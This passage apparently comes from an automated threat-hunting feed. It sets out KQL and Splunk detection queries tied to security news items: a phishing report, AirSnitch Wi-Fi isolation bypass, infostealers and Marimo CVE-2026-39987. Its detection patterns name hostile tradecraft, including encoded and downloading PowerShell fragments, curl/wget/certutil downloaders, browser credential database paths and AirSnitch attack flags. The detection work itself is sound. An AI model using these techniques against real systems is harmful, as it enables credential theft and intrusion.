AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks tExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks t
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("meow_eu.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("meow_eu.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — IR Trends Q1 2026: Phishing reemerges as top initial access vector, as attacks t ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("meow_eu.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("meow_eu.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
Hunts users navigating to Softr-hosted apps (*.softr.app / softr.io) whose page paths or titles reference Outlook/Exchange/OWA login flows. The Talos report describes the first documented adversary use of Softr's no-code 'vibe coding' to spin up a credential-harvesting page targeting Microsoft Exchange/OWA users.
Rationale: Article explicitly names Softr (softr.app/softr.io hosting) as the platform used to build a Microsoft Exchange/OWA credential phish — pivoting on that hostname plus auth-flow keywords gives high article-specificity. Cross-checked with Help Net Security and Trend Micro coverage of AI-platform-built phishing pages.
Cross-checked against:
• https://www.helpnetsecurity.com/2026/04/22/cisco-phishing-initial-access-2026/
• https://www.trendmicro.com/en_us/research/25/i/ai-development-platforms-enable-fake-captcha-pages.html
• https://docs.softr.io/security/ummZ2CWNHXZCHzsZwbEwET/phishing/fCJ3szdDW5uXEy36wygQrs
ATT&CKT1566.002T1056.003T1583.006
Data sourcesWebNetwork_Resolution
let softrHosts = dynamic([".softr.app",".softr.io"]);
let kw = @"(?i)(owa|outlook|exchange|webmail|signin|login|mfa|verify|microsoft|m365|o365|adfs)";
union isfuzzy=true
(DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has_any (softrHosts) or RemoteUrl matches regex @"https?://[^/]*\.softr\.(app|io)/"
| where RemoteUrl matches regex kw
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP),
(UrlClickEvents
| where Timestamp > ago(14d)
| where Url has_any (softrHosts)
| where Url matches regex kw
| project Timestamp, AccountUpn, Url, ActionType, NetworkMessageId, ThreatTypes),
(EmailUrlInfo
| where Timestamp > ago(14d)
| where Url has_any (softrHosts)
| where Url matches regex kw
| project Timestamp, NetworkMessageId, Url, UrlDomain)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_referrer) as referrers values(Web.user) as users from datamodel=Web where (Web.url="*softr.app*" OR Web.url="*softr.io*" OR Web.dest="*.softr.app" OR Web.dest="*.softr.io") by Web.src Web.dest Web.user | `drop_dm_object_name(Web)` | eval suspicious_path=if(match(urls,"(?i)(owa|outlook|exchange|webmail|signin|login|mfa|verify|microsoft|m365|o365)"),1,0) | where suspicious_path=1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Crimson Collective: TruffleHog secret-scanning followed by Microsoft Graph data exfiltrationActions on ObjectivesMedium
Hunts the Crimson Collective tradecraft documented by Talos: leaked GitHub PAT used with TruffleHog to enumerate repos for client secrets, followed by Graph API authentication and bulk read/exfil of Azure storage from a non-interactive identity. Looks for the TruffleHog user-agent against GitHub/cloud APIs and chains it to anomalous Graph activity from the same actor.
Rationale: Article and Rapid7 both confirm Crimson Collective signature behaviour: TruffleHog user-agent scanning followed by API-driven cloud data theft (Talos: Microsoft Graph + Azure storage; Rapid7: AWS API calls). The TruffleHog UA in cloud/identity logs is highly unusual for non-security users and the chained Graph read pattern is the actor's documented exfil method.
Cross-checked against:
• https://www.rapid7.com/blog/post/tr-crimson-collective-a-new-threat-group-observed-operating-in-the-cloud/
• https://blog.hunterstrategy.net/crimson-collective-cloud-extortion-in-aws/
• https://socradar.io/blog/red-hat-breach-crimson-collective-theft-repositories/
ATT&CKT1528T1078.004T1530T1593
Data sourcesAuthenticationChange
let trufflehogActors =
union isfuzzy=true
(CloudAppEvents
| where Timestamp > ago(30d)
| where UserAgent has "trufflehog" or RawEventData has "TruffleHog"
| extend Actor = tostring(AccountId)
| project Timestamp, Actor, Application, ActionType, IPAddress, UserAgent),
(AADSignInEventsBeta
| where Timestamp > ago(30d)
| where UserAgent has "trufflehog"
| extend Actor = AccountUpn
| project Timestamp, Actor, Application=AppDisplayName, ActionType=ErrorCode, IPAddress, UserAgent);
trufflehogActors
| join kind=inner (
CloudAppEvents
| where Timestamp > ago(30d)
| where Application in ("Microsoft Graph","Office 365","Azure Storage","Azure Blob Storage")
| where ActionType has_any ("FileDownloaded","FileAccessed","ListContainers","ListBlobs","GetBlob")
| summarize graphOps=count(), distinctOps=dcount(ActionType), firstSeen=min(Timestamp), lastSeen=max(Timestamp) by Actor=tostring(AccountId), IP=IPAddress
| where graphOps > 50
) on Actor
| project firstSeen, lastSeen, Actor, IP, IPAddress, UserAgent, graphOps, distinctOps
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Authentication.src) as src values(Authentication.user_agent) as ua from datamodel=Authentication where (Authentication.user_agent="*TruffleHog*" OR Authentication.user_agent="*trufflehog*" OR Authentication.signature="*trufflehog*") by Authentication.user Authentication.app | `drop_dm_object_name(Authentication)` | join type=inner user [ | tstats summariesonly=true count as graph_calls values(Authentication.app) as graph_apps from datamodel=Authentication where Authentication.app IN ("Microsoft Graph","graph.microsoft.com") Authentication.action=success by Authentication.user _time span=1h | `drop_dm_object_name(Authentication)` | where graph_calls > 50 ] | table firstTime lastTime user src ua graph_apps graph_calls
[LLM] MeowBackConn proxy DLL load (meow_*.dll) on Gootloader-infected hostsInstallationHigh
Alerts on load or registration of DLLs matching the 'meow_*.dll' naming convention (e.g. meow_eu.dll) called out by Talos as proxy components of the MeowBackConn backdoor associated with Gootloader/Rhysida intrusions. The filename scheme is highly specific and unlikely to collide with legitimate software.
Rationale: Talos explicitly names the 'meow_eu.dll' proxy DLL and links the meow_*.dll naming convention to MeowBackConn deployed alongside Gootloader before Rhysida ransomware. This naming pattern is a high-fidelity static IOC; corroborated by RST Cloud and SC Media reporting on Gootloader/Rhysida proxy-DLL chains.
Cross-checked against:
• https://x.com/rst_cloud/status/1986261106394820661
• https://www.scworld.com/news/new-gootloader-attacks-drop-supper-socks5-backdoor
• https://securityaffairs.com/165368/malware/gootloader-malware-is-still-active.html
ATT&CKT1574.002T1090T1053.005
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let meowPattern = @"(?i)\\meow_[a-z0-9]{1,12}\.dll";
union isfuzzy=true
(DeviceImageLoadEvents
| where Timestamp > ago(30d)
| where FileName matches regex @"(?i)^meow_[a-z0-9]{1,12}\.dll$" or FolderPath matches regex meowPattern
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, FolderPath, SHA256),
(DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName matches regex @"(?i)^meow_[a-z0-9]{1,12}\.dll$"
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256),
(DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine matches regex meowPattern
or (FileName in~ ("rundll32.exe","regsvr32.exe","schtasks.exe") and ProcessCommandLine has "meow_")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process="*meow_*.dll*" OR Processes.process_name IN ("rundll32.exe","regsvr32.exe","schtasks.exe") AND Processes.process="*meow_*") by Processes.dest Processes.process_name Processes.process_id | `drop_dm_object_name(Processes)` | append [ | tstats summariesonly=true count from datamodel=Endpoint.Filesystem where Filesystem.file_name="meow_*.dll" by Filesystem.dest Filesystem.file_path Filesystem.file_name Filesystem.process_name | `drop_dm_object_name(Filesystem)` ] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-228 use cases4 techniques5 kill-chain phases detected
Unit 42 research reveals AirSnitch attacks bypass WPA2/3 Wi-Fi encryption and client isolation, exposing critical infrastructure vulnerabilities. The post When Wi-Fi Encryption Fails: Protecting Your Enterprise from AirSnitch Attacks appeared first on Unit 42 .
CVEsCVE-2025-55182
ATT&CKT1059.001T1190T1195.002T1555.003
Click any ATT&CK pill below to open it on the Matrix
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · [LLM] AirSnitch Wi-Fi client-isolation bypass tool execution on Linux endpoint
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] AirSnitch Wi-Fi client-isolation bypass tool execution on Linux endpointActions on ObjectivesHigh
Detects execution of the public AirSnitch research tool (vanhoefm/airsnitch) which extracts WPA GTKs and performs gateway-bouncing, port-stealing and broadcast-reflection MitM. Hunts the tool's distinctive python invocation and CLI flags on managed Linux hosts that may be used as an internal pivot to break WPA2/3-Enterprise client isolation.
Rationale: AirSnitch's published PoC uses the unique flag set --c2c-port-steal / --c2c-port-steal-uplink / --c2c-broadcast / --c2c-ip / --check-gtk-shared together with --no-ssid-check, none of which appear in normal wpa_supplicant or hostapd workflows. Cross-checked the flag list against the upstream repo (vanhoefm/airsnitch) to confirm they map directly to the Port Stealing, Broadcast Reflection and Gateway Bouncing primitives described in the Unit42 article.
Cross-checked against:
• https://github.com/vanhoefm/airsnitch
• https://news.ycombinator.com/item?id=47167763
• https://support.huawei.com/enterprise/en/doc/EDOC1100551241
ATT&CKT1557T1040T1200
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(30d)
| where DeviceOS in~ ("Linux","macOS")
| where FileName in~ ("python","python3","sudo","bash","sh") or FileName endswith "airsnitch.py"
| where ProcessCommandLine has "airsnitch.py"
or (ProcessCommandLine has "--no-ssid-check" and ProcessCommandLine has_any ("--c2c-port-steal","--c2c-port-steal-uplink","--c2c-broadcast","--c2c-ip","--check-gtk-shared"))
| project Timestamp, DeviceName, DeviceId, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.os IN ("Linux","linux") AND (Processes.process="*airsnitch.py*" OR (Processes.process="*--no-ssid-check*" AND (Processes.process="*--c2c-port-steal*" OR Processes.process="*--c2c-port-steal-uplink*" OR Processes.process="*--c2c-broadcast*" OR Processes.process="*--c2c-ip*" OR Processes.process="*--check-gtk-shared*"))) by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Drop of AirSnitch repo artefacts (modified wpa_supplicant configs) on internal hostWeaponizationMedium
Hunts for staging of AirSnitch's distinctive supporting files - airsnitch.py, hostap.py and the multipsk.conf/saepk.conf/eap.conf victim+attacker handshake configs - on enterprise endpoints. Catches an insider or compromised host being prepared to perform GTK extraction and Wi-Fi port stealing before the tool is actually run.
Rationale: airsnitch.py and hostap.py are the entry points of the public tool, and multipsk.conf / saepk.conf are the unusual config-file names it ships for staging victim and attacker WPA contexts (verified against vanhoefm/airsnitch). Pairing the file drop with a git clone / wget / curl referencing 'airsnitch' raises confidence that the host is being weaponised rather than holding an unrelated file with the same name.
Cross-checked against:
• https://github.com/vanhoefm/airsnitch
• https://github.com/zhouxinan/airsnitch
ATT&CKT1588.002T1557
Data sourcesEndpoint.Filesystem
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified","FileRenamed")
| where FileName in~ ("airsnitch.py","hostap.py","multipsk.conf","saepk.conf")
or FolderPath has "/airsnitch/"
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, RequestAccountName, SHA256
| join kind=leftouter (
DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessCommandLine has_any ("git clone","wget","curl")
| where InitiatingProcessCommandLine has "airsnitch"
| project DeviceId, CloneCmd=InitiatingProcessCommandLine, CloneTime=Timestamp
) on DeviceId
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as file_path values(Filesystem.user) as user from datamodel=Endpoint.Filesystem where (Filesystem.file_name IN ("airsnitch.py","hostap.py","multipsk.conf","saepk.conf") OR Filesystem.file_path="*/airsnitch/*" OR (Filesystem.file_name="eap.conf" AND Filesystem.file_path="*/airsnitch*")) by Filesystem.dest Filesystem.file_name Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-224 use cases3 techniques6 kill-chain phases detected
Microsoft has released out-of-band updates to address a security vulnerability in ASP.NET Core that could allow an attacker to escalate privileges. The vulnerability, tracked as CVE-2026-40372, carries a CVSS score of 9.1 out of 10.0. It's rated Important in severity. An anonymous researcher has been credited with discovering and reporting the flaw. "Improper verification of cryptographic
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-40372", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-224 use cases0 techniques3 kill-chain phases detected
Microsoft Defender contains an insufficient granularity of access control vulnerability that could allow an authorized attacker to escalate privileges locally. Vendor: Microsoft, Product: Defender. Federal patch due: 2026-05-06.
CVEsCVE-2026-33825
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-33825")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33825")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
